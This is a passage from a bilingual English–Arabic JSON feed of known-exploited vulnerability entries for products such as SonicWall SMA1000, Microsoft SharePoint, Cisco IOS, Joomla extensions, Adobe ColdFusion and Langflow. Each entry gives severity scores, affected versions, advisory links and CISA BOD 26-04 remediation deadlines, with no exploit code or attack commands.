التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"knx-association-knx-protocol-connection-authorization-option"},{"id":"CVE-2026-15410","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-14T19:43:03Z","product":"SonicWall SMA1000 Appliances","affected":[["12.4.3-03245 – 12.4.3-03434",null],["12.5.0-02283 – 12.5.0-02800",null]],"title":{"en":"SonicWall SMA1000 Appliances Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات في أجهزة SonicWall SMA1000"},"summary":{"en":"SonicWall SMA1000 Appliances contain a code injection vulnerability which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.","ar":"تحتوي أجهزة SonicWall SMA1000 على ثغرة حقن شيفرات قد تمكن في ظروف معينة مهاجمًا عن بُعد يملك حسابًا مصادقًا عليه بصلاحيات مدير من تنفيذ أوامر نظام تشغيل عشوائية."},"refs":[["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-15410","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15410","ref"]],"epss":0.1179,"kevAdded":"2026-07-14T00:00:00Z","kevDue":"2026-07-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"sonicwall-sma1000-appliances"},{"id":"CVE-2026-15409","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-14T19:39:34Z","product":"SonicWall SMA1000 Appliances","affected":[["12.4.3-03245 – 12.4.3-03434",null],["12.5.0-02283 – 12.5.0-02800",null]],"title":{"en":"SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability","ar":"ثغرة تزوير الطلبات من جهة الخادم في أجهزة SonicWall SMA1000"},"summary":{"en":"SonicWall SMA1000 Appliances contain a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to potentially cause the appliance to make requests to unintended location.","ar":"تحتوي أجهزة SonicWall SMA1000 على ثغرة تزوير الطلبات من جهة الخادم والتي قد تسمح لمهاجم عن بُعد دون مصادقة بالتسبب في قيام الجهاز بإرسال طلبات إلى مواقع غير مقصودة."},"refs":[["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-15409","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409","ref"]],"epss":0.068,"kevAdded":"2026-07-14T00:00:00Z","kevDue":"2026-07-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"sonicwall-sma1000-appliances"},{"id":"CVE-2026-56164","cvss":5.3,"vector":null,"cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-14T17:05:12Z","product":"Microsoft SharePoint Server","affected":[["16.0.0 – <16.0.5561.1001","16.0.5561.1001"],["16.0.0 – <16.0.10417.20175","16.0.10417.20175"],["16.0.0 – <16.0.19725.20434","16.0.19725.20434"]],"title":{"en":"Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة للوظائف الحرجة في Microsoft SharePoint Server"},"summary":{"en":"Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network.","ar":"يحتوي Microsoft SharePoint على ثغرة غياب المصادقة للوظائف الحرجة والتي تسمح لمهاجم غير مُصرح له بتصعيد الصلاحيات عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56164","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-56164","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164","ref"]],"epss":0.0101,"kevAdded":"2026-07-14T00:00:00Z","kevDue":"2026-07-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-56155","cvss":7.8,"vector":null,"cwe":"CWE-1220","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-14T17:05:11Z","product":"Microsoft Active Directory Federation Services","affected":[["10.0.14393.0 – <10.0.14393.9339","10.0.14393.9339"],["10.0.17763.0 – <10.0.17763.9020","10.0.17763.9020"],["6.2.9200.0 – <6.2.9200.26226","6.2.9200.26226"],["6.3.9600.0 – <6.3.9600.23291","6.3.9600.23291"],["10.0.20348.0 – <10.0.20348.5386","10.0.20348.5386"],["10.0.26100.0 – <10.0.26100.33158","10.0.26100.33158"]],"title":{"en":"Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability","ar":"ثغرة عدم كفاية تفصيل التحكم في الوصول في خدمة Microsoft Active Directory Federation Services"},"summary":{"en":"Microsoft Active Directory Federation Services contains an insufficient granularity of access control vulnerability that allows an authorized attacker to elevate privileges locally.","ar":"تحتوي خدمة Microsoft Active Directory Federation Services على ثغرة عدم كفاية تفصيل التحكم في الوصول والتي تسمح لمهاجم مصادق عليه بتصعيد الصلاحيات محليًا."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56155","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-56155","advisory"],["https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/decommission/adfs-decommission-guide","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56155","ref"]],"epss":0.0035,"kevAdded":"2026-07-14T00:00:00Z","kevDue":"2026-07-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-active-directory-federation-services"},{"id":"CVE-2008-4128","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-352","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-13T00:00:00Z","product":"Cisco IOS","affected":[],"title":{"en":"Cisco IOS Cross-Site Request Forgery Vulnerability","ar":"ثغرة تزوير الطلبات عبر المواقع في Cisco IOS"},"summary":{"en":"Cisco IOS 12.4 contains multiple cross-site forgery vulnerabilities that allows remote attackers to execute arbitrary commands via (1) a certain \"show privilege\" command to the /level/15/exec/- URI, and (2) a certain \"alias exec\" command to the /level/15/exec/-/configure/http URI.","ar":"يحتوي Cisco IOS 12.4 على ثغرات متعددة لتزوير الطلبات عبر المواقع والتي تسمح للمهاجمين عن بُعد بتنفيذ أوامر عشوائية عبر (1) أمر \"show privilege\" معين على مسار URI بالصيغة /level/15/exec/-، و(2) أمر \"alias exec\" معين على مسار URI بالصيغة /level/15/exec/-/configure/http."},"refs":[["https://www.cisco.com/c/en/us/obsolete/ios-nx-os-software/cisco-ios-software-releases-12-4-mainline.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2008-4128","advisory"],["https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/1/CSA_IMPROVE_ROUTER_HYGIENE.PDF","advisory"],["https://www.exploit-db.com/exploits/6476","ref"],["https://exchange.xforce.ibmcloud.com/vulnerabilities/45226","ref"],["https://www.exploit-db.com/exploits/6477","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2008-4128","ref"]],"epss":0.3387,"kevAdded":"2026-07-13T00:00:00Z","kevDue":"2026-07-16T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"cisco-ios"},{"id":"CVE-2026-56291","cvss":10,"vector":null,"cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-10T00:00:00Z","product":"Balbooa Forms","affected":[["1.0-2.4.0",null]],"title":{"en":"Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability","ar":"ثغرة رفع الملفات دون قيود لنوع ملف خطير في Balbooa Forms"},"summary":{"en":"Balbooa Forms contains an unrestricted upload of file with dangerous type vulnerability that allows an unauthenticated arbitrary file upload which could allow uploading of executable files leading to full RCE.","ar":"يحتوي Balbooa Forms على ثغرة رفع ملفات دون قيود لنوع ملف خطير والتي تسمح برفع ملفات عشوائية دون مصادقة، مما قد يتيح رفع ملفات قابلة للتنفيذ تؤدي إلى تنفيذ أوامر عن بُعد بالكامل."},"refs":[["https://www.balbooa.com/joomla-forms","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-56291","advisory"],["https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56291","ref"]],"epss":0.1485,"kevAdded":"2026-07-10T00:00:00Z","kevDue":"2026-07-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"balbooa-forms"},{"id":"CVE-2026-48939","cvss":10,"vector":null,"cwe":"CWE-434","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-10T00:00:00Z","product":"iCagenda iCagenda","affected":[["3.2.1-4.0.7",null]],"title":{"en":"iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability","ar":"ثغرة رفع الملفات دون قيود لنوع ملف خطير في iCagenda"},"summary":{"en":"iCagenda contains an unrestricted upload of file with dangerous type vulnerability that allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.","ar":"يحتوي iCagenda على ثغرة رفع ملفات دون قيود لنوع ملف خطير والتي تسمح بررفع ملفات عشوائية في ميزة إرفاق الملفات، مما يؤدي في النهاية إلى رفع وتنفيذ شيفرة PHP."},"refs":[["https://www.icagenda.com/docs/changelog/icagenda-3-9-15","patch"],["https://www.icagenda.com/docs/changelog/icagenda-4-0-8","patch"],["https://www.icagenda.com/#download","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48939","advisory"],["https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/","advisory"],["https://www.icagenda.com/","ref"],["https://github.com/Polosss/By-Poloss..-..CVE-2026-48939","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48939","ref"]],"epss":0.2007,"kevAdded":"2026-07-10T00:00:00Z","kevDue":"2026-07-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"icagenda"},{"id":"CVE-2026-48282","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-07T00:00:00Z","product":"Adobe ColdFusion","affected":[["0 – 9",null],["0 – 20",null]],"title":{"en":"Adobe ColdFusion Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في Adobe ColdFusion"},"summary":{"en":"Adobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user.","ar":"يحتوي Adobe ColdFusion على ثغرة اجتياز المسار والتي قد تؤدي إلى تنفيذ شيفرة عشوائية في سياق المستخدم الحالي."},"refs":[["https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48282","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48282","ref"]],"epss":0.4239,"kevAdded":"2026-07-07T00:00:00Z","kevDue":"2026-07-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"adobe-coldfusion"},{"id":"CVE-2026-56290","cvss":10,"vector":null,"cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-07-07T00:00:00Z","product":"Joomlack Page Builder","affected":[["1.0-3.6.0",null]],"title":{"en":"Joomlack Page Builder Improper Access Control Vulnerability","ar":"ثغرة التحكم غير السليم في الوصول في Joomlack Page Builder"},"summary":{"en":"Joomlack Page Builder contains an improper access control vulnerability that could allow for remote code execution via unauthenticated arbitrary file upload.","ar":"يحتوي Joomlack Page Builder على ثغرة تحكم غير سليم في الوصول والتي قد تسمح بتنفيذ أوامر عن بُعد عبر رفع ملفات عشوائية دون مصادقة."},"refs":[["https://forum.joomlack.fr/index.php/page-builder-ck/21627-nouvelle-version-de-pbck-et-joomla-3","patch"],["https://www.joomlack.fr/en/joomla-extensions/page-builder-ck","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-56290","advisory"],["https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/","advisory"],["https://www.joomlack.fr/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56290","ref"]],"epss":0.3087,"kevAdded":"2026-07-07T00:00:00Z","kevDue":"2026-07-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم BOD 26-04 الصادر عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"joomlack-page-builder"},{"id":"CVE-2026-55255","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-639","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-07T00:00:00Z","product":"Langflow Langflow","affected":[],"title":{"en":"Langflow Authorization Bypass Through User-Controlled Key Vulnerability","ar":"ثغرة تجاوز المصادقة في Langflow من خلال مفتاح يتحكم فيه المستخدم"},"summary":{"en":"Langflow contains an authorization bypass through user-controlled key vulnerability which allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.","ar":"يحتوي Langflow على ثغرة تجاوز المصادقة من خلال مفتاح يتحكم فيه المستخدم، مما يسمح لمهاجم يملك حسابًا مصادقًا عليه بتنفيذ أي تدفق ينتمي لمستخدم آخر عبر تحديد معرف التدفق الخاص بالضحية في الطلب."},"refs":[["https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-55255","advisory"],["https://webflow.sysdig.com/blog/understanding-langflow-cve-2026-55255-and-why-higher-cvss-vulnerabilities-arent-always-the-most-exploited","advisory"],["https://github.com/langflow-ai/langflow/pull/12832","ref"],["https://github.com/langflow-ai/langflow/commit/2c9f498d664a3c32698b57d7c5e752625291060e","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55255","ref"]],"epss":0.0089,"kevAdded":"2026-07-07T00:00:00Z","kevDue":"2026-07-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-48908","cvss":10,"vector":null,"cwe":"CWE-434","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-07T00:00:00Z","product":"JoomShaper SP Page Builder","affected":[["1.0.0-6.6.1",null]],"title":{"en":"JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability","ar":"ثغرة رفع الملفات دون قيود ذات نوع خطير في JoomShaper SP Page Builder"},"summary":{"en":"JoomShaper SP Page Builder contains an unrestricted upload of file with dangerous type vulnerability that allows unauthenticated users to upload arbitrary files, ultimately resulting in the upload and execution of PHP code.","ar":"يحتوي JoomShaper SP Page Builder على ثغرة رفع ملفات دون قيود ذات نوع خطير والتي تسمح للمستخدمين دون مصادقة برفع ملفات عشوائية، مما يؤدي في النهاية إلى رفع وتنفيذ شيفرة PHP."},"refs":[["https://extensions.joomla.org/extension/sp-page-builder/","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48908","advisory"],["https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/","advisory"],["https://www.joomshaper.com/forum/question/45152","advisory"],["https://www.joomshaper.com/page-builder","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48908","ref"]],"epss":0.8851,"kevAdded":"2026-07-07T00:00:00Z","kevDue":"2026-07-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"joomshaper-sp-page-builder"},{"id":"CVE-2026-45659","cvss":8.8,"vector":null,"cwe":"CWE-502","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-07-01T00:00:00Z","product":"Microsoft SharePoint Server","affected":[["16.0.0 – <16.0.5552.1002","16.0.5552.1002"],["16.0.0 – 